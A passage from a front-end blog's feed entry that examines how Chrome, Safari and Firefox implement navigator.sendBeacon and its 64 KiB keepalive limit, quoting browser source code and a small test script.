class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This is also implemented using a keepalive fetch:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> PingLoader<span class="token operator">::</span><span class="token function">SendLinkAuditPing</span><span class="token punctuation">(</span>LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> ping_url<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> destination_url<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ping_url<span class="token punctuation">.</span><span class="token function">ProtocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHTTPContentType</span><span class="token punctuation">(</span><span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"text/ping"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpBody</span><span class="token punctuation">(</span>EncodedFormData<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>base<span class="token operator">::</span><span class="token function">span_from_cstring</span><span class="token punctuation">(</span><span class="token string">"PING"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kCacheControl<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"max-age=0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPingTo<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span>destination_url<span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  scoped_refptr<span class="token operator">&lt;</span><span class="token keyword">const</span> SecurityOrigin<span class="token operator">></span> ping_origin <span class="token operator">=</span>      SecurityOrigin<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">ProtocolIs</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"http"</span><span class="token punctuation">)</span> <span class="token operator">||</span>      frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetSecurityOrigin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">CanAccess</span><span class="token punctuation">(</span>ping_origin<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>        http_names<span class="token operator">::</span>kPingFrom<span class="token punctuation">,</span>        <span class="token function">AtomicString</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerString</span><span class="token punctuation">(</span>Referrer<span class="token operator">::</span><span class="token function">NoReferrer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerPolicy</span><span class="token punctuation">(</span>network<span class="token operator">::</span>mojom<span class="token operator">::</span>ReferrerPolicy<span class="token operator">::</span>kNever<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>PING<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>      std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetCurrentWorld</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kPing<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="implementation-of-sendbeacon-in-safari">Implementation of sendBeacon in Safari</span></h3><p>The implementation in Safari can be found at <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/Modules/beacon/NavigatorBeacon.cpp">WebKit&#x2F;Source&#x2F;WebCore&#x2F;Modules&#x2F;beacon&#x2F;NavigatorBeacon.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ExceptionOr<span class="token operator">&lt;</span><span class="token keyword">bool</span><span class="token operator">></span> <span class="token class-name">NavigatorBeacon</span><span class="token double-colon punctuation">::</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span>Document<span class="token operator">&amp;</span> document<span class="token punctuation">,</span> <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url<span class="token punctuation">,</span> std<span class="token double-colon punctuation">::</span>optional<span class="token operator">&lt;</span>FetchBody<span class="token double-colon punctuation">::</span>Init<span class="token operator">></span><span class="token operator">&amp;&amp;</span> body<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    URL parsedUrl <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">completeURL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// Set parsedUrl to the result of the URL parser steps with url and base. If the algorithm returns an error, or if</span>    <span class="token comment">// parsedUrl's scheme is not "http" or "https", throw a "TypeError" exception and terminate these steps.</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">isValid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"This URL is invalid"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">protocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons can only be sent over HTTP(S)"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">frame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">shouldBypassMainWorldContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">checkedContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">allowConnectToSource</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// We simulate a network error so we return true here. This is consistent with Blink.</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setHTTPMethod</span><span class="token punctuation">(</span><span class="token string">"POST"</span>_s<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setRequester</span><span class="token punctuation">(</span>ResourceRequestRequester<span class="token double-colon punctuation">::</span>Beacon<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>RefPtr documentLoader <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">loader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        request<span class="token punctuation">.</span><span class="token function">setIsAppInitiated</span><span class="token punctuation">(</span>documentLoader<span class="token operator">-></span><span class="token function">lastNavigationWasAppInitiated</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    ResourceLoaderOptions options<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>credentials <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Credentials<span class="token double-colon punctuation">::</span>Include<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>cache <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Cache<span class="token double-colon punctuation">::</span>NoCache<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>keepAlive <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    options<span class="token punctuation">.</span>sendLoadCallbacks <span class="token operator">=</span> SendCallbackPolicy<span class="token double-colon punctuation">::</span>SendCallbacks<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>body<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>NoCors<span class="token punctuation">;</span>        String mimeType<span class="token punctuation">;</span>        <span class="token keyword">auto</span> result <span class="token operator">=</span> <span class="token class-name">FetchBody</span><span class="token double-colon punctuation">::</span><span class="token function">extract</span><span class="token punctuation">(</span><span class="token function">WTFMove</span><span class="token punctuation">(</span>body<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span><span class="token function">hasException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> result<span class="token punctuation">.</span><span class="token function">releaseException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">auto</span> fetchBody <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">releaseReturnValue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">isReadableStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons cannot send ReadableStream body"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        request<span class="token punctuation">.</span><span class="token function">setHTTPBody</span><span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">bodyAsFormData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>mimeType<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            request<span class="token punctuation">.</span><span class="token function">setHTTPContentType</span><span class="token punctuation">(</span>mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isCrossOriginSafeRequestHeader</span><span class="token punctuation">(</span>HTTPHeaderName<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>Cors<span class="token punctuation">;</span>                options<span class="token punctuation">.</span>httpHeadersToKeep<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>HTTPHeadersToKeepFromCleaning<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span><span class="token operator">!</span>m_inflightBeacons<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    m_inflightBeacons<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">addClient</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can see that the entire process is quite similar to Chromium. It first checks the validity of the URL, then checks CSP, and then sends a keepalive request.</p><p>This echoes what we mentioned earlier and what is written in the specifications: the underlying sendBeacon is essentially a keepalive fetch. So where is the source code for when the keepalive queue size exceeds the limit?</p><p>From the implementation, it can be seen that if the queue size exceeds, it is likely that this segment is where the error occurs, because only here will it return false:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Therefore, we can trace down to <code>requestBeaconResource</code>. Additionally, we can also trace the source code from another direction.</p><p>Do you remember the example that sent a string of length 10000 eight times? In Chrome, you will only see the request become pending, but in Safari, a helpful message will appear:</p><blockquote><p>Beacon API cannot load <a href="https://httpstat.us/200?log7">https://httpstat.us/200?log7</a>. Reached maximum amount of queued data of 64Kb for keepalive requests</p></blockquote><p>You can directly use this error message to find the relevant source code at <a href="https://github.com/WebKit/WebKit/blob//WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/CachedResource.cpp#L249">WebKit&#x2F;Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;CachedResource.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">if</span> <span class="token punctuation">(</span>    m_options<span class="token punctuation">.</span>keepAlive <span class="token operator">&amp;&amp;</span> <span class="token function">type</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> Type<span class="token double-colon punctuation">::</span>Ping <span class="token operator">&amp;&amp;</span>    <span class="token operator">!</span>cachedResourceLoader<span class="token punctuation">.</span><span class="token function">keepaliveRequestTracker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span>  <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">setResourceError</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>      errorDomainWebKitInternal<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> request<span class="token punctuation">.</span><span class="token function">url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token string">"Reached maximum amount of queued data of 64Kb for keepalive requests"</span>_s<span class="token punctuation">,</span>      ResourceError<span class="token double-colon punctuation">::</span>Type<span class="token double-colon punctuation">::</span>AccessControl    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">failBeforeStarting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>If it is a keepalive, and the type is not ping (the type of sendBeacon will be <code>Type::Beacon</code>), and there is no way to register a new request, then this error is returned.</p><p>Therefore, the key point is the method <code>keepaliveRequestTracker().tryRegisterRequest</code>, located in <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/KeepaliveRequestTracker.cpp">Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;KeepaliveRequestTracker.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">const</span> <span class="token keyword">uint64_t</span> maxInflightKeepaliveBytes <span class="token punctuation">&#123;</span> <span class="token number">65536</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token comment">// 64 kibibytes as per Fetch specification.</span><span class="token keyword">bool</span> <span class="token class-name">KeepaliveRequestTracker</span><span class="token double-colon punctuation">::</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span>CachedResource<span class="token operator">&amp;</span> resource<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span>resource<span class="token punctuation">.</span><span class="token function">options</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>keepAlive<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">auto</span> body <span class="token operator">=</span> resource<span class="token punctuation">.</span><span class="token function">resourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">httpBody</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>body<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token keyword">uint64_t</span> bodySize <span class="token operator">=</span> body<span class="token operator">-></span><span class="token function">lengthInBytes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>m_inflightKeepaliveBytes <span class="token operator">+</span> bodySize <span class="token operator">></span> maxInflightKeepaliveBytes<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token function">registerRequest</span><span class="token punctuation">(</span>resource<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It actually just counts how many are still waiting, and checks if adding them would exceed the maximum value of 65536. The operation is quite similar to the last PR from Sentry.</p><h3><span id="firefoxs-sendbeacon-implementation">Firefox’s sendBeacon Implementation</span></h3><p>In the previous Sentry PR, it was mentioned that Firefox does not support keepalive, corresponding to this ticket: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1342484">[meta] Support Fetch keepalive flag and enforce limit on inflight keepalive bytes</a>, which is still open. From the discussion, it seems there has been progress since about half a year ago, and support officially started in Firefox version 133, released in November 2024. Although there are still some bugs, it should become more stable over time.</p><p>I tested a scenario with three browsers, sending out 10 strings of length 60,000:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">10</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">60000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Both Chrome and Safari only sent one request, but Firefox 133.0.3 kindly sent them all out, currently without a 64 KiB limit:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p7.png" alt="Firefox Screenshot"></p><p>For those curious about the underlying implementation, the code is here: <a href="https://github.com/mozilla/gecko-dev/blob/94c62970ba2f9c40efd5a4f83a538595425820d9/dom/base/Navigator.cpp#L1163">gecko-dev&#x2F;dom&#x2F;base&#x2F;Navigator.cpp</a>. It seems that keepalive has not been integrated yet, which is why the limit has not been triggered. In the future, it should follow the spec, using keepalive requests and adhering to the payload size limits.</p><h2><span id="conclusion">Conclusion</span></h2><p>Small features can have great significance. A seemingly simple <code>sendBeacon</code> is actually quite interesting upon deeper research. Understanding its limitations and solutions, as well as learning from Sentry’s patching process, and reviewing the browser’s source code, provides a better understanding of the underlying implementation.</p><p>In practice, if you are going to use <code>sendBeacon</code>, please remember to add error handling. When the return value is false, switch to a regular fetch or add a retry mechanism to enhance the stability of data transmission.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;When you want to send some tracking-related information to the server from a webpage, there is another option that is often recommended over directly using &lt;code&gt;fetch&lt;/code&gt; to send requests: &lt;code&gt;navigator.sendBeacon&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Why is this recommended?&lt;/p&gt;
&lt;p&gt;Because if you use the usual method of sending requests, there may be issues when the user closes the page or navigates away. For example, if a request is sent just as the page is being closed, that request may not go through and could be canceled along with the page closure.&lt;/p&gt;
&lt;p&gt;Although there are ways to try to force the request to be sent, these methods often harm the user experience, such as forcing the page to close later or sending a synchronous request.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;navigator.sendBeacon&lt;/code&gt; was created to solve this problem.&lt;/p&gt;</summary>
    
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/categories/Front-end/"/>
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/tags/Front-end/"/>
    
  </entry>
  
</feed>
